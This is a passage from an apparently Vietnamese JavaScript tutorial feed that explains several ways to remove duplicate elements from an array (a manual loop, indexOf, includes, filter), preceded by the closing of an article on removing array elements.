<p>Hoặc bạn cũng có thể thay đổi hàm test trên để loại bỏ một hoặc nhiều phần tử khỏi mảng thỏa mãn những yêu cầu tùy thích.</p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Như vậy là mình giới thiệu với bạn một số cách để loại bỏ một hoặc nhiều phần tử ra khỏi Array trong JavaScript. Vậy trong những cách đó, bạn thích cách nào nhất?</p> <p>Ngoài ra, bạn có biết thêm những cách nào khác nữa không? Nếu có thì không ngại chia sẻ với mình nhé!</p> <p>Còn bây giờ thì xin chào và hẹn gặp lại, thân ái!</p> <p><strong>Tham khảo:</strong></p> <ul> <li><a href="https://love2dev.com/blog/javascript-remove-from-array/">9 Ways to Remove Elements From A JavaScript Array</a></li> <li><a href="https://flaviocopes.com/how-to-remove-item-from-array/">How to remove an item from an Array in JavaScript</a></li> </ul>[email protected]<![CDATA[6 cách loại bỏ phần tử lặp trong mảng]]><![CDATA[Trong con đường lập trình, có lẽ bạn sẽ phải ít nhất một lần đối mặt với bài toán Loại bỏ phần tử lặp trong mảng. Đây là bài toán cơ bản và khá hay. Nếu bạn đã xử lý bài toán này…]]>https://completejavascript.com/6-cach-loai-bo-phan-tu-lap-trong-mang/https://completejavascript.com/6-cach-loai-bo-phan-tu-lap-trong-mang/<![CDATA[Array]]>Tue, 02 Jan 2018 12:44:37 GMT<p>Trong con đường lập trình, có lẽ bạn sẽ phải ít nhất một lần đối mặt với bài toán <strong>Loại bỏ phần tử lặp trong mảng</strong>. Đây là bài toán cơ bản và khá hay. Nếu bạn đã xử lý bài toán này rồi thì có thể chia sẻ cách làm với mình trong phần bình luận phía dưới. Trường hợp bạn chưa gặp bao giờ thì sau đây mình sẽ giới thiệu thuật toán chung và triển khai 6 cách loại bỏ phần tử lặp trong mảng.</p> <h2 id="thuật-toán-loại-bỏ-phần-tử-lặp-trong-mảng" style="position:relative;"><a href="#thu%E1%BA%ADt-to%C3%A1n-lo%E1%BA%A1i-b%E1%BB%8F-ph%E1%BA%A7n-t%E1%BB%AD-l%E1%BA%B7p-trong-m%E1%BA%A3ng" aria-label="thuật toán loại bỏ phần tử lặp trong mảng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thuật toán loại bỏ phần tử lặp trong mảng</h2> <h3 id="phân-tích-bài-toán" style="position:relative;"><a href="#ph%C3%A2n-t%C3%ADch-b%C3%A0i-to%C3%A1n" aria-label="phân tích bài toán permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phân tích bài toán</h3> <p>Với bài toán này, yêu cầu là loại bỏ phần tử lặp trong mảng.</p> <p><strong>Vậy như nào gọi là phần tử lặp?</strong></p> <p>Hiểu đơn giản: khi hai phần tử a, b trong mảng mà (a === b) là true thì gọi đó là phần tử lặp.</p> <p>Tiếp theo, mình cần quan tâm đến kiểu dữ liệu của các phần tử trong mảng. JavaScript có 7 kiểu dữ liệu là: <a href="/kieu-du-lieu-trong-javascript/">number, string, boolean</a>, <a href="/array-la-gi-array-trong-javascript/">array</a>, <a href="/object-la-gi-object-trong-javascript/">object</a>, null và undefined. Tuy nhiên, mình tạm thời bỏ qua trường hợp phần tử trong mảng có kiểu dữ liệu là: array và object. Vì xử lý 2 trường hợp này sẽ khá phức tạp.</p> <p>Ví dụ phần tử trong mảng có kiểu dữ liệu là object:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <p>Về mặt trực quan, bạn sẽ thấy rằng mảng trên có phần tử lặp là {x : 1}, vì nó lặp lại 2 lần. Nhưng thực tế thì không phải vậy. Bởi lẽ,</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span> <span class="token operator">===</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span></code></pre></div> <p>Tương tự với array:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span></code></pre></div> <p>Với những phân tích và ràng buộc như vậy, sau đây mình sẽ xây dựng thuật toán.</p> <h3 id="thuật-toán" style="position:relative;"><a href="#thu%E1%BA%ADt-to%C3%A1n" aria-label="thuật toán permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thuật toán</h3> <p>Theo mình thấy, thuật toán bài này khá đơn giản và có thể tóm tắt lại thành các bước như sau:</p> <ul> <li>B1: Khai báo mảng chứa kết quả, ví dụ: dst = []</li> <li>B2: Duyệt từng phần tử trong mảng nguồn (src), rồi kiểm tra: <ul> <li>Nếu phần tử này chưa tồn tại trong mảng dst thì thêm nó vào mảng dst</li> <li>Nếu phần tử này đã tồn tại trong mảng dst rồi thì bỏ qua</li> </ul> </li> <li>B3: Trả về mảng dst là mảng đã loại bỏ phần tử lặp.</li> </ul> <p>Ý tưởng chung là như vậy, sau đây mình sẽ triển khai thuật toán này thành code.</p> <h2 id="cách-triển-khai-thuật-toán-loại-bỏ-phần-tử-lặp-trong-mảng" style="position:relative;"><a href="#c%C3%A1ch-tri%E1%BB%83n-khai-thu%E1%BA%ADt-to%C3%A1n-lo%E1%BA%A1i-b%E1%BB%8F-ph%E1%BA%A7n-t%E1%BB%AD-l%E1%BA%B7p-trong-m%E1%BA%A3ng" aria-label="cách triển khai thuật toán loại bỏ phần tử lặp trong mảng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách triển khai thuật toán loại bỏ phần tử lặp trong mảng</h2> <h3 id="sử-dụng-mảng-thông-thường" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-m%E1%BA%A3ng-th%C3%B4ng-th%C6%B0%E1%BB%9Dng" aria-label="sử dụng mảng thông thường permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng mảng thông thường</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"f"</span><span class="token punctuation">,</span> <span class="token string">"3"</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"e"</span><span class="token punctuation">,</span> <span class="token string">"f"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ans <span class="token operator">=</span> <span class="token function">deduplicate</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ans<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Expected output: [1, 5, "a", 3, "f", "3", "b", "e"]</span> <span class="token keyword">function</span> <span class="token function">deduplicate</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> <span class="token function-variable function">isExist</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">arr<span class="token punctuation">,</span> x</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">===</span> x<span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ans <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> arr<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">element</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isExist</span><span class="token punctuation">(</span>ans<span class="token punctuation">,</span> element<span class="token punctuation">)</span><span class="token punctuation">)</span> ans<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>element<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> ans<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Cái mà bạn cần quan tâm ở đây là <a href="/ham-la-gi-ham-trong-javascript/">function</a> <strong>deduplicate</strong>. Vậy cách triển khai function này tương ứng với thuật toán sẽ như thế nào?</p> <p><strong>B1:</strong> Khai báo mảng chứa kết quả, ví dụ: dst = []</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> ans <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <p><strong>B2:</strong> Duyệt từng phần tử trong mảng nguồn (src), rồi kiểm tra:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">arr<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">element</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">//</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Nếu phần tử chưa tồn tại trong mảng dst thì thêm nó vào mảng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isExist</span><span class="token punctuation">(</span>ans<span class="token punctuation">,</span> element<span class="token punctuation">)</span><span class="token punctuation">)</span> ans<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>element<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Nếu phần tử đã tồn tại trong mảng dst thì bỏ qua (không làm gì).</p> <p><strong>B3:</strong> Trả về mảng dst là mảng đã loại bỏ phần tử lặp.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">return</span> ans<span class="token punctuation">;</span></code></pre></div> <p><strong>Tiếp theo, triển khai hàm kiểm tra tính tồn tại isExist thế nào?</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">isExist</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">arr<span class="token punctuation">,</span> x</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">===</span> x<span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Ở đây, mình không sử dụng phương thức có sẵn. Đơn giản là sử dụng vòng lặp, duyệt từng phần tử trong mảng arr[i]. Nếu nó bằng với phần tử cần so sánh x, tức (arr[i] === x) trả về giá trị <strong>true</strong>, thì phần tử x đã tồn tại trong mảng arr. Hay nói cách khác là hàm <em>isExist(arr, x)</em> trả về giá trị true.</p> <p>Trên đây là cách triển khai dài nhất, nhưng cơ bản nhất và nó sẽ giúp bạn hiểu rõ về thuật toán. Một khi đã hiểu rõ thuật toán rồi, bạn có thể sử dụng các phương thức sẵn có để rút ngắn lượng code phải viết, như các cách mà mình sẽ trình bày dưới đây.</p> <h3 id="sử-dụng-phương-thức-indexof-để-kiểm-tra-tính-tồn-tại" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-indexof-%C4%91%E1%BB%83-ki%E1%BB%83m-tra-t%C3%ADnh-t%E1%BB%93n-t%E1%BA%A1i" aria-label="sử dụng phương thức indexof để kiểm tra tính tồn tại permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng phương thức indexOf để kiểm tra tính tồn tại</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"f"</span><span class="token punctuation">,</span> <span class="token string">"3"</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"e"</span><span class="token punctuation">,</span> <span class="token string">"f"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ans <span class="token operator">=</span> <span class="token function">deduplicate</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ans<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Expected output: [1, 5, "a", 3, "f", "3", "b", "e"]</span> <span class="token keyword">function</span> <span class="token function">deduplicate</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> <span class="token function-variable function">isExist</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">arr<span class="token punctuation">,</span> x</span><span class="token punctuation">)</span> <span class="token operator">=></span> arr<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span> <span class="token operator">></span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ans <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> arr<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">element</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isExist</span><span class="token punctuation">(</span>ans<span class="token punctuation">,</span> element<span class="token punctuation">)</span><span class="token punctuation">)</span> ans<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>element<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> ans<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Nếu bạn để ý thì thấy rằng, mình đã rút ngắn hàm isExist <strong>từ 6 dòng xuống thành 1 dòng</strong> bằng cách sử dụng phương thức <a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf">indexOf</a> - đây là phương thức có sẵn của Array. Phương thức này trả về vị trí của phần tử x nếu tìm thấy, ngược lại sẽ trả về -1.</p> <h3 id="sử-dụng-phương-thức-includes-để-kiểm-tra-tính-tồn-tại" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-includes-%C4%91%E1%BB%83-ki%E1%BB%83m-tra-t%C3%ADnh-t%E1%BB%93n-t%E1%BA%A1i" aria-label="sử dụng phương thức includes để kiểm tra tính tồn tại permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng phương thức includes để kiểm tra tính tồn tại</h3> <p>Cũng tương tự như indexOf, bạn có thể sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes">includes</a> để kiểm tra tính tồn tại của một phần tử trong mảng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"f"</span><span class="token punctuation">,</span> <span class="token string">"3"</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"e"</span><span class="token punctuation">,</span> <span class="token string">"f"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ans <span class="token operator">=</span> <span class="token function">deduplicate</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ans<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Expected output: [1, 5, "a", 3, "f", "3", "b", "e"]</span> <span class="token keyword">function</span> <span class="token function">deduplicate</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> <span class="token function-variable function">isExist</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">arr<span class="token punctuation">,</span> x</span><span class="token punctuation">)</span> <span class="token operator">=></span> arr<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ans <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> arr<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">element</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isExist</span><span class="token punctuation">(</span>ans<span class="token punctuation">,</span> element<span class="token punctuation">)</span><span class="token punctuation">)</span> ans<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>element<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> ans<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Phương thức includes sẽ trả về true nếu mảng arr chứa phần tử x.</p> <h3 id="sử-dụng-phương-thức-filter-và-indexof" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-filter-v%C3%A0-indexof" aria-label="sử dụng phương thức filter và indexof permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng phương thức filter và indexOf</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"f"</span><span class="token punctuation">,</span> <span class="token string">"3"</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"e"</span><span class="token punctuation">,</span> <span class="token string">"f"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ans <span class="token operator">=</span> <span class="token function">deduplicate</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ans<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Expected output: [1, 5, "a", 3, "f", "3", "b", "e"]</span> <span class="token keyword">function</span> <span class="token function">deduplicate</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> arr<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">value<span class="token punctuation">,</span> index<span class="token punctuation">,</span> arr</span><span class="token punctuation">)</span> <span class="token operator">=></span> arr<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span> <span class="token operator">===</span> index<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Cách này có vẻ không theo logic của thuật toán phía trên, tuy nhiên cũng khá <strong>dễ hiểu</strong>. Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter">filter</a> sẽ trả về một mảng mới chứa các phần tử thoả mãn hàm test.</p> <p>Ở đây hàm test (arrow function) là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token punctuation">(</span><span class="token parameter">value<span class="token punctuation">,</span> index<span class="token punctuation">,</span> arr</span><span class="token punctuation">)</span> <span class="token operator">=></span> arr<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span> <span class="token operator">===</span> index<span class="token punctuation">;</span></code></pre></div> <p>Trong đó, value là giá trị của mỗi phần tử trong mảng, index là chỉ số tương ứng 